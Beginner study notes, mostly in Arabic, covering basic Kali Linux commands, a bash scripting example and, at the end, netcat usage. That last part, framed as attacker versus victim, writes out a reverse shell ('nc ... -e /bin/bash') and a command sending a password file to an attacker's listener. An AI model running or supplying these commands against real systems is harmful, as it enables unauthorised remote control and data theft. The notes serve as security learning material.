

syntax for line command => command [options] [arguments]

[options] =>

هي الخيارات التي بضيفها على الكومند واللى يتحكم ف الكومند انه يعمل حاجه مختلفه باختلاف الاويشن.

e.g., ls -l

[arguments] =>

هي القيم التي بديها للكومند لو كان الكومند بيطلب قيم.

man =>

بتديني المانيويل بتاع اى كوماند علشان اعرف عنه معلومات واستخدمه ازاي.

pwd =>

بيقل ايه هو المسار اللي انا شغال فيه.

cd (change directory) =>

بيقلنى لمسار انا بحدده.

e.g., cd Desktop

ls =>

بيعرضلى ليست بكل الملفات اللي موجوده ف المسار اللي انا فيه.

ls -l => long listing format -important, google it-

ls -l => /root/Desktop/ls_output.txt =>

كدا خزنت البيانات اللي هتظهرلى من الامر فى ملف تيكست على المسار اللي انا حددته (لو الملف دا مش موجود بينشأه ولو موجود بيعمل عليه **overwrite** ولو انا عايز مخليهوش يعمل او فر رايت هستخدم >>).

cat =>

بيقرالى محتوى الملف اللي بحدده ليه.

e.g., cat kali-Linux command lines.txt

more =>

نفس استخدام ال **cat** بس بستخدمها افضل من كات مع الملفات الكبيره علشان اقدر انتقل براحتى بين المحتوى اللي هيظهرلى.

Enter =>

بتتحركلى ف المحتوى سطر بسطر .

space =>

بتتحركلى ف المحتوى بالصفحه.

touch =>

بتنشألى ملف .

e.g., touch games.txt

wc =>

بيدينى عدد الاسطر والكلمات والحروف فى ملف.

e.g., wc games.txt

cp =>

بعمل نسخ لملف واقدر اديله اسم تانى فنفس الخطوه.

e.g., cp games.txt games2.txt (عملت نسخ لملف games وسميت النسخه games2)

find =>

امر بستخدمه علشان ادور على ملفات.

e.g., find -name games

search in specific path => **find** /root/Desktop -name games

locate =>

بستخدمه علشان ابحت عن ملف معين وبيدينى جميع المسارات اللى موجود بيها اسم مطابق للبحث بتاعى .

e.g., locate games

grep =>

امر بيستخدم فى البحث عن كلمه جوا ملف تيكست وبيرجعلى السطر اللى موجوده فيه الكلمه دى (امر مهم جدا) -see manual .

e.g., grep "let's go"

which =>

بتحددلى مسار الملف الخاص بالامر بتاعى (كل command line عندي بيكون ليه ملف موجود فمكان معين لما اكتب الامر بيدور على الملف الخاص بيه ويعمله execute).

e.g., which ls

passwd =>

امر بيستخدم لتغيير باسورد يوزر معين لو انا بشتغل بالروت مش بيوزر عادى.

systemctl =>

امر بيستخدم فى التحكم فى ال services اللى موجوده على السيستم عندى.

systemctl status =>

بيظهرلى حالة السيرفس بتاعى من حيث مكانها او هى شغاله ولا لا .

e.g., systemctl status ssh

systemctl enable =>

بيعمل enable للسيرفس بتاعى (انى اعمل لسيرفس انيبل مش معناها انى كدا خليتها شغاله لا انا كدا فعلتها بس) .

e.g., systemctl enable ssh

systemctl start =>

كدا بخلى السيرفس بتاعى تبدأ تشتغل .

e.g., systemctl start ssh

(try the above for apache2 instead of ssh and google it to know more information about apache2)

netstat =>

امر يستخدم فى اظهار حالة الشبكة من الاتصالات الخارجيه وال routing table وغيره.

e.g., netstat -anp

| (pipeline) =>

بيستخدمه فى الجمع بين امرين بحيث انه بيخلى ال output بتاع الامر اللى على شماله input للأمر اللى على يمينه.

e.g., netstat -anp | grep ssh

أنا لما بعمل netstat بيظهرلى ستيتس كتيره اوي، فانا عايز الاستيتس الخاصه بال ssh ف | خليتنى اخذ خرج الامر netstat واخليه دخل لأمر ال grep علشان يدورلى بس على الستيتس الخاصه بال ssh.

mv =>

امر يستخدم فى تغيير اسم الملف او نقل مكانه، تغيير اسمه لو الاسم اللى هغير ليه مش اسم فولدر، انما لو الاسم اللى هغير ليه هو اسم فولدر موجود هينقل الملف بتاعى جواه .

e.g., mv games games1

echo =>

امر يستخدم في طباعة كلام على شاشة الكونسل او انشاء ملف ووضع الكلام دا جواه

e.g., echo "hello"

كدا يطبعلى الكلمه على شاشة الكونسل

e.g., echo "hello" > welcome.txt

كدا ينشأ ملف اسمه welcome ويحط جواه كلمة hello.

wget =>

يستخدم في عمل داونلود لصفحه معينه.

e.g., wget www.google.com

cut =>

امر يستخدم في عمل cut لبعض الكلمات من جوا تيكست لتعديل التيكست بالشكل المرغوب .

e.g., cut -d "/" -f 3 =>

باستخدام اوبشن -d انا كدا بقله شيلي الكلام اللى بعد علامه دي كله وهاتلى اللى بعدها، وباستخدام اوبشن -f بحيث لو كانت علامه متكرره اكثر من مره يحددله رقم علامه اللى من عندها ينفذ الكلام دا.

awk =>

امر بيعمل وظيفة ال cut لكنه بيتعامل مع المسافات فى الكلام على انها مسافه واحده يعنى لو عندى اكثر من مسافه ورا بعض فى الكلام الامر دا هيشوفهم مسافه واحده .

e.g., awk -F " " '{print \$2}'

host =>

يستخدم فى عرض IPv4 & IPv6 لموقع معين واحيانا mail server لبعض المواقع.

e.g., host www.google.com

sort =>

بيعمل تنظيم للأسطر داخل ملف تيكست باستخدام الاوبشنز بتاعته.

e.g., sort -u games.txt =>

باستخدام اوبشن -u بيحذفلى الاسطر المكرره ويعرضلى منهم سطر واحد (doesn't affect the original file) .

chmod =>

بيغيرلى ال permissions بتاع ملف معين.

e.g., **chmod +x script.sh =>**

كدا بدى للملف دا صلاحية انه يبقا executable.

tcpdump =>

بيعرضلى ال traffic اللى تم على عملية معينه انا عاملها capturing file باستخدام برنامج زى **Wireshark**.

e.g., **tcpdump capture.pcapng**

=====

Ex:-

we need to get IP addresses for all links in a certain web page for example take **grcico.com**.

solution :-

wget www.grcico.com /*this will save the page as index.html*/

cat index.html | **grep** "<a href" | **cut** -d "/" -f 3 | **sort** -u | **grep** ".com" > links.txt

for x in \$(**cat** links.txt); **do** host \$x; **done** /* for x in \$(file.txt) => x حرف التيكست لحرف */

/* بعد كدا بقله انه ينفذلى امر **host** على كل x */

/*استخدمت dollar sign فى الاكس التانيه لانها متغير متعرف بقيمه على عكس اول مره محطتش لانى كنت لسه بعرف ال x */

=====

How to make a bash script executable file?

1- create a file with extension .sh with an editor -for example gedit- => gedit script.sh

2- include this line as a first text line => #!/bin/bash -- you can forget about this (try to write your script without it)

3- write your command lines then save the file (it's not executable yet)

4- give the file execute permission => **chmod +x script.sh**

5- open the script file => ./script.sh

=====

nc technique:

nc -nv [IP] [port] =>

كدا بعمل تشيك على بورت اذا كان مفتوح او لا.

e.g., nc -nv 172.217.21.228 80

nc -nvlp [port] =>

كدا بفتح بورت على الجهاز اللي بكتب فيه الامر (جهاز الضحية).

e.g., nc -nvlp 4444

nc -nv [IP] [port] =>

يقول للجهاز بتاعى (Attacker) اشبك على جهاز الضحية اللي هو ال IP بتاعه ده وعلى port كذا اللي هو نفس البورت اللي فتحته عنده.

e.g., nc -nv 192.168.0.25 4444

كدا انا شبكت الجهازين مع بعض واقدر اعمل بينهم chat

let us assume we have a victim with IP address 192.168.0.25 and attacker IP address 192.168.0.30

Commands		Notes
Victim	Attacker	
nc -nvlp 4444	nc -nv 192.168.0.25 4444	كدا شبكتنا الجهازين ببعض عن طريق البورت 4444
لو انا عايز انقل ملفات هستخدم طريقة ال reverse shell		
nc -nv 192.168.0.30 4444 -e /bin/bash	nc -nvlp 4444	بنفذ امر ال attacker الاول (بفتح بورت)
كدا انا بقول لجهاز الضحية اتصل بجهاز الهاكر وفعلى المسار دا (اللى هو الباش) فانا دلوقتى كدا على جهاز الهاكر فاتح عندى الباش بتاع الضحية ولو نفذت اوامر على جهاز الهاكر هتكون بتنفذ على جهاز الضحية		
nc -nv 192.168.0.30 4444 < /root/Desktop/pass.txt	nc -nvlp 4444 > /home/Desktop/senna.pcapng	برضو هنا الامر بيتنفذ على جهاز ال attacker الاول
كدا انا بقول لجهاز الهاكر استقبل اللي يجيك على بورت 4444 وخزنه فى الملف اللي مساره دا، كدا جهاز الهاكر هيكون بيعمل ليسيننج ومستنى حاجة تتبعته ع البورت دا، اروح بقا جهاز الضحية واقله ابعثلى الملف اللي متحدد ف المسار دا على الاى بى دا وعلى بورت 4444		